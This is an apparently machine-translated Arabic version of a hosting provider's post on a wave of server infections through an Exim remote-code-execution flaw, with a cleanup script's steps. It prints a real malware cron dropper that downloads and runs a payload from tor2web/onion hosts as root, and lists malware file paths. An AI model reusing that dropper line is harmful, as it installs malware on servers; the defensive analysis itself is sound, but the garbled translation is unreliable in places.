الموجة الأولى تتأثر ضعف Exim. البرنامج النصي للعلاج

كانت الثغرة الأمنية في Exim's RCE مثيرة بالفعل ، ومضطربة إلى حد كبير أعصاب مسؤولي النظام في جميع أنحاء العالم.

في أعقاب الإصابات الهائلة (يستخدم العديد من عملائنا Exim كخادم بريد) فإنهم ينشرون نصًا سريعًا لأتمتة حل المشكلة. البرنامج النصي أبعد ما يكون عن المثالية والكامل للرمز دون المستوى الأمثل ، ولكن هذا حل سريع للقتال حتى لا يقوم بنفس الإجراءات على مئات أو حتى الآلاف من الخوادم.

إنه يعمل على خوادم تشغل Centos و RHEL و Debian و Ubuntu مع تثبيت خادم بريد Exim.

كيف نفهم أن يتم اختراق الخادم؟


تحقق العمليات الجارية مع القيادة العليا.
على الخوادم المصابة ، هناك حمل 100٪ تم إنشاؤه بواسطة عملية [kthrotlds]. أيضا في جدولة cron يتم إضافة مهمة مع حقوق التحرير محدودة.

قسم التنبيه


جميع حالات الإصابة التي واجهناها كانت من نفس النوع ، فقد تختلف الموجتان الثانية والثالثة عنها - فقد يكون من الضروري تعديل البرنامج النصي. في وقت الإصابة ، تضيع المهام في cron بشكل لا رجعة فيه ويجب إعادتها باليد. البرنامج النصي "يقطع الكتف" - يقوم بتحديث Exim دون خوف إلى إصدارات مصححة ، في حالة Centos 6 حتى من مستودع الاختبار. يوجد مثيل للبرامج الضارة في الذاكرة ، لذلك يجب إعادة تشغيل الخادم مباشرة بعد تنظيف التيجان.

هام: تسمح مشكلة عدم الحصانة بتنفيذ تعليمات برمجية من الجذر ، والتي لا تعطي أي ضمانات مئة في المئة الشفاء. بعد الوصول الجذري إلى الخادم ، يمكنك إخفاء أي شيء تقريبًا على هذا الخادم ، بحيث سيكون من المستحيل تقريبًا العثور عليه. لا يمكن ضمان إعادة تثبيت الخادم بشكل كامل ، ولكنه يعد أمرًا غير ممكن دائمًا. إذا لم يكن هناك إمكانية لإعادة تثبيت الخادم ، وكانت الأعراض كما هي موصوفة ، فيمكنك محاولة ملء الثقوب بسرعة بهذا البرنامج النصي.

باستخدام برنامج نصي ، يمكنك القيام بذلك على مسؤوليتك الخاصة ومخاطرك: قمنا باختبار البرنامج النصي على عدد من الخوادم ، ومع ذلك ، هناك دائمًا مخاطر ظهور إصدارات برامج غير متوافقة أو تعارض في التكوين.
يتيح لك النص البرمجي الخاص بنا أيضًا معالجة أحد التطبيقات الممكنة للعدوى - من الممكن بالفعل أن هناك بالفعل الآن طرق أخرى لاستغلال الثغرة الأمنية التي لم تظهر في نظرنا.

ماذا يفعل البرنامج النصي؟



1. تحديثات Exim ، يعيد تثبيت الضفيرة.
2. الشيكات للعدوى على الخادم.

يحلل البرنامج النصي مهام برنامج الجدولة لوجود ادراج مشبوهة.
على سبيل المثال ، مثل:

*/11 * * * * root tbin=$(command -v passwd); bpath=$(dirname "${tbin}"); curl="curl"; if [ $(curl --version 2>/dev/null|grep "curl "|wc -l) -eq 0 ]; then curl="echo"; if [ "${bpath}" != "" ]; then for f in ${bpath}*; do strings $f 2>/dev/null|grep -q "CURLOPT_VERBOSE" && curl="$f" && break; done; fi; fi; wget="wget"; if [ $(wget --version 2>/dev/null|grep "wgetrc "|wc -l) -eq 0 ]; then wget="echo"; if [ "${bpath}" != "" ]; then for f in ${bpath}*; do strings $f 2>/dev/null|grep -q "to <bug-wget@gnu.org>" && wget="$f" && break; done; fi; fi; if [ $(cat /etc/hosts|grep -i ".onion."|wc -l) -ne 0 ]; then echo "127.0.0.1 localhost" > /etc/hosts >/dev/null 2>&1; fi; (${curl} -fsSLk --retry 2 --connect-timeout 22 --max-time 75 https://an7kmd2wp4xo7hpr.tor2web.su/src/ldm -o /.cache/.ntp||${curl} -fsSLk --retry 2 --connect-timeout 22 --max-time 75 https://an7kmd2wp4xo7hpr.tor2web.io/src/ldm -o /.cache/.ntp||${curl} -fsSLk --retry 2 --connect-timeout 22 --max-time 75 https://an7kmd2wp4xo7hpr.onion.sh/src/ldm -o /.cache/.ntp||${wget} --quiet --tries=2 --wait=5 --no-check-certificate --connect-timeout=22 --timeout=75 https://an7kmd2wp4xo7hpr.tor2web.su/src/ldm -O /.cache/.ntp||${wget} --quiet --tries=2 --wait=5 --no-check-certificate --connect-timeout=22 --timeout=75 https://an7kmd2wp4xo7hpr.tor2web.io/src/ldm -O /.cache/.ntp||${wget} --quiet --tries=2 --wait=5 --no-check-certificate --connect-timeout=22 --timeout=75 https://an7kmd2wp4xo7hpr.onion.sh/src/ldm -O /.cache/.ntp) && chmod +x /.cache/.ntp && /bin/sh /.cache/.ntp 


2A. إذا كانت هناك آثار لبرنامج نصي فيروس في المجلد / etc ، فقم بما يلي

  • توقف كرون
  • يقتل العملية التي أطلقها البرنامج النصي للفيروسات
  • يقتل حليقة wget sh عمليات أربع مرات (يديره فيروس في الموعد المحدد)
  • ينظف قائمة انتظار البريد من جميع الرسائل (يصعب فصل الرسائل المصابة عن غير المؤذية ، لذلك يجب عليك حذف قائمة الانتظار بأكملها )
  • يسمح بحذف الملفات التي توجد بها أجزاء من البرنامج النصي الضار:
     /etc/cron.daily/cronlog /etc/cron.d/root /etc/cron.d/.cronbus /etc/cron.hourly/cronlog /etc/cron.monthly/cronlog /var/spool/cron/root /var/spool/cron/crontabs/root /etc/cron.d/root /etc/crontab /root/.cache/ /root/.cache/a /usr/local/bin/nptd /root/.cache/.kswapd /usr/bin/\[kthrotlds\] /root/.ssh/authorized_keys /.cache/* /.cache/.sysud /.cache/.a /.cache/.favicon.ico /.cache/.kswapd /.cache/.ntp 
  • يحذف هذه الملفات
  • يزيل وظيفة تشغيل تلقائي في /etc/rc.local
  • يزيل مفتاح المهاجم من مفاتيح ssh المسموح بها
  • يدير كرون
  • وعلى الفور إعادة تمهيد الخادم

2B. إذا لم يكن هناك أثر للعدوى ، فسيخرج البرنامج النصي.

التحسينات


الفيروس يحذف جميع وظائف جدولة cron. لذلك ، بعد إعادة تشغيل الخادم ، يجب إعادة تكوينها أو استعادتها من النسخة الاحتياطية.

حليقة هو أيضا مصاب بالفيروس ، لذلك يتم تثبيته.

يلزم إعادة التشغيل (يتم تنفيذ البرنامج النصي تلقائيًا بعد العلاج) - وإلا يتم تخزين البرامج الضارة في ذاكرة الخادم وتكرارها كل 30 ثانية حتى بعد حذف الملفات المصابة.

كيف تستخدم؟


تقليديا: قبل البدء ، تأكد من أن لديك نسخة احتياطية حقيقية لبيانات الخادم في متناول اليد.

لتشغيل البرنامج النصي:


الاتصال بالخادم عبر ssh كمستخدم له امتيازات الجذر. يمكنك أيضًا استخدام عميل Shell في لوحة أدوات ISPmanager.

في المحطة ، أدخل الأمر:

 wget https://lechillka.firstvds.ru/exim_rce_fixer.sh && chmod +x exim_rce_fixer.sh && ./exim_rce_fixer.sh 

تتوقع البرنامج النصي لإكمال وإعادة تشغيل الخادم.

بعد إعادة التشغيل ، تحقق من تشغيل الخادم والمواقع / التطبيقات المستضافة عليه ، وأعد تكوين المهام أو استعادتها إلى cron من النسخة الاحتياطية.

وأخيرا


في الواقع ، يعد البرنامج النصي حلاً مؤقتًا لاستعادة عمل الخادم ، ولضمان الوقاية ، فإن أفضل حل هو التبديل إلى خادم جديد باستخدام إصدار نظام التشغيل الذي لم يعد يحتوي على ثغرة أمنية.

جميع التوصيات لوضع اللمسات الأخيرة / معالجة البرنامج النصي هي موضع ترحيب. إذا واجهت عرضًا آخر للعدوى - أظهر ذلك ، من فضلك. التعاون في وقت العدوى الجماعية يقلل بشكل كبير من الوقت اللازم للقضاء على هذه الالتهابات.

حظا سعيدا

UPD1: أضيفت على جيثب .
تم تحميل التعليمات البرمجية المصدر للبرنامج النصي Malvari هناك ، والتي تمكنت من سحبها من الخادم المصاب .
UPD2: بالنسبة إلى Centos 6 ، جاء الإصدار 4.92 في EPEL ، والآن في جميع إصدارات البرنامج النصي تم تثبيته من المستودعات الرئيسية. في البداية ، تم تنزيل البرنامج النصي 4.92 لـ Centos 6 من EPEL / test.

Source: https://habr.com/ru/post/ar455636/


All Articles